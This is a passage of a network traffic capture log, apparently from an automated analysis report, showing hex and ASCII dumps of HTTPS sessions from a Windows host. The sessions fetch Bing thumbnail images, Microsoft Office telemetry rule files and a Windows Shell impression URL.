=ElxG]Mbk+S6wnX-4=QXI$b+mFAK[S,4?Ao\/.#{7F3qG,>f}z-OY{_k>I[i1uBGo"G;th%k0Q'j&N_kkDKia'6)uE&>]@NE^k+>Ae'^
2024-11-27 23:19:26 UTC	16065	IN	Data Raw: 41 fd 29 7f 63 e1 93 f8 4d 7f d6 ac 73 56 e6 b1 e7 96 be 12 9a ca e8 5d da ea b3 db 4d 1b 06 f3 17 20 92 3a 74 eb f8 d5 d9 34 cd 62 7b 59 2d 67 f1 0d eb 45 33 ef 75 d8 30 5b f2 ce 7b e3 a5 77 1f 67 80 93 9d b1 92 78 3b 7a 8a 72 db 46 c7 25 57 a7 cd 8c 76 a4 f2 7c 23 7f 00 97 14 e6 0b fe 5e 33 cf 25 f0 c4 b2 4c b2 49 7f 77 29 50 00 77 19 20 e3 b1 3f 5f d6 9e de 14 32 33 2d cd c5 e3 70 37 96 7e f9 cf 4c f0 39 3c 0f 5a ef a4 82 0c 06 d9 f2 f7 cf f9 e9 52 98 61 8f 96 8d 7a 72 c7 a7 e7 eb 55 fd 93 85 5f 64 89 71 3e 3d fd b6 70 32 78 5a 0f b1 c9 63 f6 bd 4d ad 65 0a d2 c0 27 3b 58 8e 9f 29 38 e2 9a be 1c be 8b 43 5d 1e 2d 52 e9 2c 95 b7 ad b0 d8 15 4e ed c3 90 32 4e 79 ea 45 77 db 20 3c bc 6b d3 82 c7 ae 69 3e cd 1f cb 21 8f 2b f5 e9 ed 47 f6 46 15 fd 92 97 15 Data Ascii: A)cMsV]M :t4b{Y-gE3u0[{wgx;zrF%Wv\|#^3%LIw)Pw ?_23-p7~L9<ZRazrU_dq>=p2xZcMe';X)8C]-R,N2NyEw <ki>!+GF
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: 41 74 b6 e1 76 c4 cb 87 46 72 72 5b 90 37 00 40 3f 95 68 7c 37 f1 ce b5 f0 b5 f4 cd 6f c3 f7 ba 94 ba 3d 9a b4 12 e9 ad 1a ef 81 89 e7 68 23 1b b9 07 38 0b 91 c7 7a e3 ae 6d 65 96 fb cb 9c f9 30 5b 28 7d 93 a6 e4 db 81 bf 1b 8f 27 27 38 5c 7a e4 d6 e6 9b 16 a5 af 5e be a0 f7 77 52 69 70 20 6b 99 a4 90 2e ee 36 a3 48 84 fc a3 8c 03 92 4f 4e b5 1c 8a 2b 4e a6 9e d2 4e 57 ea 6c 6b de 3b d5 3c 43 f1 57 4a f1 36 a3 aa 34 1e 1e d5 e7 53 aa 5b c5 18 fb 73 90 76 c9 22 ae 06 d3 8e 70 bf 29 c6 07 5a f4 af 88 9f 0d 6d 6c 6f ae b5 ef 0b 6b 76 9a 96 98 d1 47 7a b7 5a 63 19 3c b8 41 c1 59 8b 92 54 9c f3 92 40 c9 1c 74 af 2b d4 fe d7 ac f8 7a 2b 4f 07 c2 b7 57 96 57 58 bb b5 68 d5 92 26 3f 72 48 18 1e 5b 23 b7 23 1c f5 af 54 f8 0d e1 fd 3b 4f f8 99 e1 8d 47 53 f1 f6 ad Data Ascii: AtvFrr[7@?h\|7o=h#8zme0[(}''8\z^wRip k.6HON+NNWlk;<CWJ64S[sv"p)ZmlokvGzZc<AYT@t+z+OWWXh&?rH[##T;OGS
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: 0d eb 33 4b ae 36 b8 7e d3 3d eb 1b 58 a0 60 61 ba 86 23 95 65 69 81 63 ca 92 55 b9 e7 a0 ae f3 c3 fe 03 82 d7 c4 13 4d 63 e1 fd 6a e7 4d 6d 3d 24 b5 48 74 d9 20 6b 85 71 82 91 88 f2 b2 00 7b fc b8 1c e2 99 a6 f8 c7 44 b6 1e 26 b4 f0 b2 36 8f ac fd 86 d2 e5 e1 d6 27 12 1b 78 9d 7e 49 20 8c a1 1e 74 8b 9d e4 75 56 ed c5 72 7f 12 be 25 de e9 1a 24 be 00 d0 60 f1 3c d6 90 d8 01 69 a9 b5 e3 c6 b6 37 4c c2 5d d0 45 18 32 4a aa 72 a3 73 03 86 e7 81 5e 7c f1 70 75 a3 4a 52 d7 ee b2 f9 f7 3a 1c 5d 3a 6e 4a 2a cf f1 ff 00 86 7f 89 b8 d6 1e 1f d3 7c 53 6b 04 70 68 fa 76 8f 7b 12 cf a5 a8 b7 0c 96 e6 12 d1 c9 96 23 25 8b 93 90 d8 3c d7 2f e3 2f 0e e8 17 68 c3 c2 16 56 b1 cb 34 67 6c 90 5b 81 1c 32 6e fb 99 0a 76 8d d9 6d cc 73 c8 02 b9 fb ef 8a 1a d5 9e 97 e1 3b fb Data Ascii: 3K6~=X`a#eicUMcjMm=$Ht kq{D&6'x~I tuVr%$`<i7L]E2Jrs^\|puJR:]:nJ*\|Skphv{#%<//hV4gl[2nvms;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49746	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:25 UTC	346	OUT	GET /th?id=OADD2.10239381672997_12BAH6BUVD15IMY6K&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 23:19:26 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 737765 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FF6FBD6AA7474310B6C2C6D112019BC4 Ref B: EWR311000104023 Ref C: 2024-11-27T23:19:25Z Date: Wed, 27 Nov 2024 23:19:25 GMT Connection: close
2024-11-27 23:19:26 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: ab 12 28 fe ed 34 44 71 c3 71 5a 29 1c d2 a3 d8 aa 50 ee c5 39 72 a3 03 af bd 4d 22 30 6e 7a 53 76 e7 83 55 cf 74 64 a8 f2 b1 37 36 da 55 50 cb f2 f1 eb 4e c0 07 1f a5 22 81 9d bd 29 0d c6 db 8c 64 3c 80 68 65 3b 7a e0 54 8c 36 9c 82 29 fb 09 5c 11 9a 7c c4 7b 34 c8 0f a1 5a b5 65 17 cb f3 8e 3b 53 92 16 0c a4 81 8a b4 a0 6d 27 f4 a8 9d 4d 34 37 a7 41 47 59 00 5e c3 a0 a7 2a fc d9 cd 2a fb 0a 96 30 06 01 ae 76 ce 8f 89 88 8a 4a 8f ad 4e 8a 41 c1 e9 48 b8 c7 1f 90 a5 c1 04 66 b3 6c de 11 48 08 e7 03 a6 68 c1 0d 9c 53 f1 f2 e0 0a 52 30 b4 ae 69 6b 68 24 64 f3 91 d2 a4 8c 16 e0 7e 54 d1 b6 9d 18 cb e0 1c 54 15 1d c7 ed d8 d9 34 06 20 ef cf cb e9 48 e7 e5 2b df d6 9d 08 3b 79 a4 68 23 65 b2 ea 78 a5 8c fe ef 19 a7 aa 1c 11 db d2 91 63 3b 4f 18 3d a8 d0 69 6a Data Ascii: (4DqqZ)P9rM"0nzSvUtd76UPN")d<he;zT6)\\|{4Ze;Sm'M47AGY^**0vJNAHflHhSR0ikh$d~TT4 H+;yh#exc;O=ij
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: d2 98 c7 73 63 18 06 a5 3f 7b 8e be b4 bb 09 a6 ad 73 3f 79 fa 10 32 05 8c 83 f9 d4 27 1f dd e3 b0 ab 33 c6 4f 51 55 e4 42 24 eb 56 88 91 19 eb 95 e6 98 a3 39 3b 45 59 d8 a5 78 e2 a3 65 c7 03 a5 6a 9d ce 6a 91 2b 85 c9 e9 81 de 94 10 c4 aa f4 a7 c8 b8 51 8e f4 c6 e3 ee f5 ef 56 72 ba 96 7a a1 ab 80 76 9e bd 8d 33 07 77 34 f9 3e 63 8e e2 90 0c f1 56 b6 39 6a 4f 99 86 df 94 be 79 ec 29 aa ac 46 73 8f 6a 39 66 a7 10 31 80 7a d3 22 f7 64 6c bf 37 4c 7b d3 d8 13 82 06 29 1b 03 e5 cd 28 07 8e 68 b0 29 59 e8 23 16 19 00 e2 85 2d d8 e2 97 07 9c d0 02 8e 45 36 8a 55 1a 15 b7 32 e3 3f 53 49 bd 53 80 33 ef 4d 6e 1b 04 75 f4 a5 61 85 e7 ad 4f 28 fd ab e8 39 a4 f9 32 45 1e 64 78 0a 7a f6 a6 0c 6d c9 fc a9 48 4c e7 1d 28 e5 45 46 b4 ba 92 f9 bf 2e 0a e4 f4 14 aa bb 7f Data Ascii: sc?{s?y2'3OQUB$V9;EYxejj+QVrzv3w4>cV9jOy)Fsj9f1z"dl7L{)(h)Y#-E6U2?SIS3MnuaO(92EdxzmHL(EF.
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: 26 15 81 23 f1 ad a3 04 8e 69 d6 72 09 19 cc 9b 88 f9 7b 53 d8 10 a1 99 ba f4 a6 a8 dc bb 47 4f 7a 25 8b 70 0b bb 81 5a 72 9c fc cd 5f a8 d9 b2 e3 81 8c 54 58 da b9 35 3b 1c a6 d0 0e 45 33 6b 6d c1 5c e6 b4 46 52 bb 12 1f 2f 69 66 1b bd 05 38 4c aa 98 d9 c5 3e 38 fb 91 52 ec 1f 74 0a 9d 01 22 ac 92 06 00 7d d3 fc e9 8c 4e ea b2 d6 e3 3b a8 30 29 fe 2a 77 41 62 aa 83 8f c7 9a 45 1d 6a e2 c2 a1 88 6e 9d a9 a6 05 5e 54 e0 d1 74 3e 5d 0a cd f7 78 38 a2 31 20 1d 33 56 4c 0b d4 52 f9 63 3b bd 28 ba b0 ac ca f8 6d bc 51 b0 93 80 31 56 84 63 76 4d 23 2e e1 86 e3 d0 8a 57 04 ae 44 a0 85 e7 92 29 ac c3 39 51 f5 a9 9a 20 17 68 62 7d e9 ad 06 3a 1a 15 86 ee 45 1c 8a 5b 70 14 af 21 0f 90 38 34 e5 8c 1e 0a e3 1f ad 39 a3 ea 17 a5 26 2d 5a ba 23 2a aa a0 83 f9 54 aa e4 Data Ascii: &#ir{SGOz%pZr_TX5;E3km\FR/if8L>8Rt"}N;0)wAbEjn^Tt>]x81 3VLRc;(mQ1VcvM#.WD)9Q hb}:E[p!849&-Z#T
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: 5c f3 47 e5 b3 23 9d a5 4f 20 f5 14 46 10 fc a5 be 5e c4 1a 3d b8 7d 46 82 e8 74 3f f0 91 5c 7f cf 67 3f f0 23 49 ff 00 09 04 a0 60 49 20 3f ef 1a c0 78 bc b6 da 4e de 33 cd 10 c4 ef 26 d8 83 4b eb b0 67 14 fd b3 05 81 a0 fa 1b cf e2 29 bf e7 ab 83 eb b8 d2 37 88 26 0d 86 99 89 f6 26 b1 5a ce 66 61 1a db ce cc 4f 0b b3 9c d3 35 0b 5b ab 19 02 cf 04 88 71 c8 71 82 05 73 d4 c7 53 83 51 72 d5 9b 47 2a 8c a2 e4 a9 bb 2f 23 7f fb 7e 6f bb e7 be 7d 37 1a 1b c4 12 85 18 99 f1 df e6 35 ce c6 17 86 2a fc f4 38 a7 b0 1d d7 3e be d5 a2 c5 41 c9 47 99 5d 99 ff 00 67 d3 5a f2 e8 6e 7f 6e 5c 7f cf 66 fa ee 34 9f db ce 0e 0c cf f5 dc 6b 0c b4 7b b1 9c fa e2 91 7c b6 c8 5c 0c 75 cd 57 b6 64 fd 4e 8f 63 78 6b 93 16 38 b9 7f a6 69 3f b7 25 dd 83 3b fd 73 5c ee f4 56 c9 04 Data Ascii: \G#O F^=}Ft?\g?#I`I ?xN3&Kg)7&&ZfaO5[qqsSQrG/#~o}758>AG]gZnn\f4k{\|\uWdNcxk8i?%;s\V
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: d9 e1 a5 ba b3 f2 8f 90 d7 67 8d f8 e1 89 3f c3 9a d0 f8 a5 a4 fc 34 f0 ef 8c 22 d4 2e 35 bb af 10 5f ea 96 62 e4 5b e8 cb fe 8d 6d 2b 2e 42 7c 9c 1c 1e b5 e7 bf 02 bf b0 b5 5f 8a da 7d 8f 8a af cc 3a 54 e4 96 85 ce 16 e1 ff 00 86 12 ff 00 c0 18 f1 bb b5 7d 37 e0 38 be 27 f9 1e 26 f0 6f 86 3e 1a f8 73 44 7d 17 75 fa 35 dc 31 c8 f6 36 67 2d b9 64 61 99 83 28 e0 d2 a9 68 3b d8 74 af 25 ab 76 fe bb 9c 0f 84 75 ef 0a d9 f8 3e 4d 1e db 4a d6 75 5f 11 5e 47 be ea 6d 2d 9c fd 8a 1e ea c8 bd 78 c8 39 ac 1f 13 78 86 0b 0f 06 dc 59 68 5a 95 ed 9f 87 64 18 96 c1 60 29 25 c4 bf ed 63 91 cd 7d 03 f0 77 c4 9e 03 f0 3e b9 6b 7d a1 68 57 17 1a e7 88 61 11 6a 09 f6 62 14 23 8c 49 3a 9e e0 03 9c 76 af 15 fd a8 b5 8b cb 9f 1d 5f 68 9f 0f 6d a2 f1 2f 86 b4 71 be 7d 4a 1d 3c Data Ascii: g?4".5_b[m+.B\|_}:T}78'&o>sD}u516g-da(h;t%vu>MJu_^Gm-x9xYhZd`)%c}w>k}hWajb#I:v_hm/q}J<
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: 83 53 5b c7 59 24 c8 31 a1 f9 17 de bd 02 df 49 87 73 48 6d 17 e6 e0 9f 4f a5 59 5b 1b 45 b5 6d b6 60 92 70 0b 7a 55 7f 62 d5 d7 51 47 8b 60 f7 8a 3c a7 e2 25 a6 9e 9e 20 67 f0 d5 cc b2 da ec ca b3 c6 55 b3 e9 5a da 2f 85 b4 db af 0c c7 7b aa f8 d2 3d de 5e f1 66 23 fd e2 b7 f7 49 ea 6b bc 6d 36 dc c3 e4 ae 9d 11 dd d1 80 c6 2a af fc 22 fa 70 c2 8b 38 77 f5 69 30 33 f9 d6 7f d8 b5 b6 b9 b3 e2 ec 3d ee d2 3c e3 47 4b 28 75 5b 55 79 4a db b9 c4 85 97 fd 5f d6 ba 8d 73 46 f8 62 da 7d c4 fa 6f 88 ef a0 9c 28 06 25 46 1e 6b ff 00 b2 7b 0a de 6d 02 d8 44 f6 ed 69 1c 8a e7 e7 18 e7 f3 a6 47 e1 9b 08 c0 df 63 1e 3f 85 b6 fd d1 53 2c 96 bb d3 9a c4 c7 8b e8 2f b2 72 5e 15 4b 2d 3e fa 6b 3b ad 61 5e d7 ca dc b3 3c 7b 83 36 7a 0f 7a b7 e3 ad 3f 4c 1a 3d 9d d6 9b e2 Data Ascii: S[Y$1IsHmOY[Em`pzUbQG`<% gUZ/{=^f#Ikm6*"p8wi03=<GK(u[UyJ_sFb}o(%Fk{mDiGc?S,/r^K->k;a^<{6zz?L=
2024-11-27 23:19:26 UTC	16067	IN	Data Raw: ba 87 ec e1 79 71 35 f3 68 3e 23 59 6f 61 ba 58 44 73 a9 54 9c 14 0d b8 67 b5 64 eb 9e 35 d6 35 bd 52 ee e2 22 b7 49 76 16 57 b4 bc e5 55 94 05 de 09 e3 77 15 d2 78 4f c4 d7 fa 83 5b 49 24 b7 d7 36 b7 5a bc 7e 43 89 36 3c 32 08 f1 e5 36 7a 2f 19 f4 af c4 b1 3c 71 c4 35 2b 2a ca b3 5e 4b b7 6f f8 73 f5 da 3c 3b 95 52 a4 e9 c6 84 5a f3 57 fc 4f 19 f1 8f 84 f5 df 0a 78 8a 6d 1f c5 16 2f 6d 71 13 e1 25 58 88 8a 6f f7 5b a1 ad ff 00 08 df b6 9e 62 92 d6 34 ba 69 97 cb 58 8a 7f aa f6 26 be 8e d6 2c ec 3e 28 fc 3d 97 49 f1 04 86 ea 49 ae 49 b2 9e 01 b0 d8 ba ae 00 27 f8 86 47 6a f9 93 45 87 53 f0 ee b1 75 a6 dd 5b 37 9d 0c 8f 13 43 de 4c 13 82 0f 63 8e f5 f6 b2 cd a7 c5 dc 37 56 94 75 c4 52 b4 9a da e9 7e bf d7 53 e5 63 80 a3 c3 b9 d5 3c 4a f7 68 55 bc 7f c2 ff Data Ascii: yq5h>#YoaXDsTgd55R"IvWUwxO[I$6Z~C6<26z/<q5+*^Kos<;RZWOxm/mq%Xo[b4iX&,>(=III'GjESu[7CLc7VuR~Sc<JhU
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: eb 6b b3 cf c4 66 b5 26 b9 61 a2 37 6c b5 33 65 65 2d cd ca b5 d5 ee a4 e7 64 ee b9 90 31 fe 2a 9f 45 6b ab 26 36 96 57 3e 66 b8 c4 3f 9c e8 4e d5 a8 74 8f 31 23 6d 4e f2 55 8d 66 e2 d9 1d 0e 41 3e 95 a9 a2 45 2c 1e 65 b2 de c2 da a4 df 3b 4a ea 73 1a 7d 7e 95 9e 26 ad fd 17 f5 f7 1c 71 f7 a4 7a 1f c3 9b a1 3e 97 37 87 74 d1 10 87 52 6d de 21 b8 55 da 78 39 e1 8f 43 d6 ba ad 5b 50 b6 f1 3e 98 da 25 e6 99 6b 69 a4 78 70 29 d2 e6 04 09 af 59 3b 16 fe 2c e0 57 1b f0 fb 52 d3 65 b7 5d 02 3b eb 4b 5d 1e 57 27 55 d4 5e 23 99 5f b2 03 f5 e2 ba 8d 66 f2 3d 5e 17 f2 62 d2 ec ae 74 2c 0d 22 c1 60 3b ee d3 a7 98 0f d3 9a f9 da f1 97 b5 db cf d3 fe 0f e4 8f 52 94 e5 c8 92 7a 2f eb fa f3 3a 7b f8 2e 7c 45 a2 c5 e2 1d 23 48 d3 b4 ed 40 5b 08 bf b3 c2 65 90 01 83 29 00 Data Ascii: kf&a7l3ee-d1*Ek&6W>f?Nt1#mNUfA>E,e;Js}~&qz>7tRm!Ux9C[P>%kixp)Y;,WRe];K]W'U^#_f=^bt,"`;Rz/:{.\|E#H@[e)
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: e4 93 c0 cb 7b 56 52 af 07 09 25 34 df 5b 3b f5 33 71 bb 8f 2a 3e 3a f8 7f 67 a8 ea 57 9a 7d b1 0b 75 1d c1 c1 91 98 6f 89 33 9a f7 ad 36 1b 5f ec 99 f4 db 56 ba 8e 14 80 47 21 2c 00 00 1c ee 41 d4 9c fa 57 cf df 08 2e 2d a7 f1 14 c2 69 25 b5 d4 6d 6d fe 42 bc 47 27 3d 45 7b f7 81 ed b7 db e9 37 57 b0 5d b5 b4 21 9d ee a7 99 1a 5b 23 83 f3 44 17 92 bf 81 af 95 cf 27 28 c5 25 b1 ba 9f 2d 09 79 9a ba 7a 8b af 15 e9 31 fd b6 4b 76 d7 74 b6 10 24 91 9c 96 0c 46 f7 38 c6 ee 3b d6 64 df 66 b9 f0 be 8b 7f 73 ac eb 37 97 1a 4e ad f6 71 75 0a 95 60 dc f1 20 23 94 ae 8f c1 b7 cb 25 8f 86 e0 b7 f1 3c 17 ed 34 ce e8 97 71 91 71 76 99 6e 33 81 8c 1f e5 45 bd d7 88 57 47 86 39 3c 59 a2 c1 75 26 af 85 91 10 e2 ea 3c 1f dd 7f bd fe 15 f2 d7 92 97 a7 af 9a ec 71 2f 23 26 Data Ascii: {VR%4[;3q*>:gW}uo36_VG!,AW.-i%mmBG'=E{7W]![#D'(%-yz1Kvt$F8;dfs7Nqu` #%<4qqvn3EWG9<Yu&<q/#&

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231927Z-174f7845968cdxdrhC1EWRg0en0000000xm0000000007t1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231927Z-174f78459688l8rvhC1EWRtzr00000000a5000000000e1tt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:27 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231927Z-174f78459685726chC1EWRsnbg0000000xpg0000000094hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49754	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:27 UTC	603	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1665678778&PG=PC000P0FR5.0000000IRU&REQASID=B14448F38FE04EFCA346A78C5108509B&UNID=338389&ASID=d56738594991460693d634ada92e7bbf&&DS_EVTID=B14448F38FE04EFCA346A78C5108509B&DEVOSVER=10.0.19045.2006&REQT=20241127T231907&TIME=20241127T231914Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
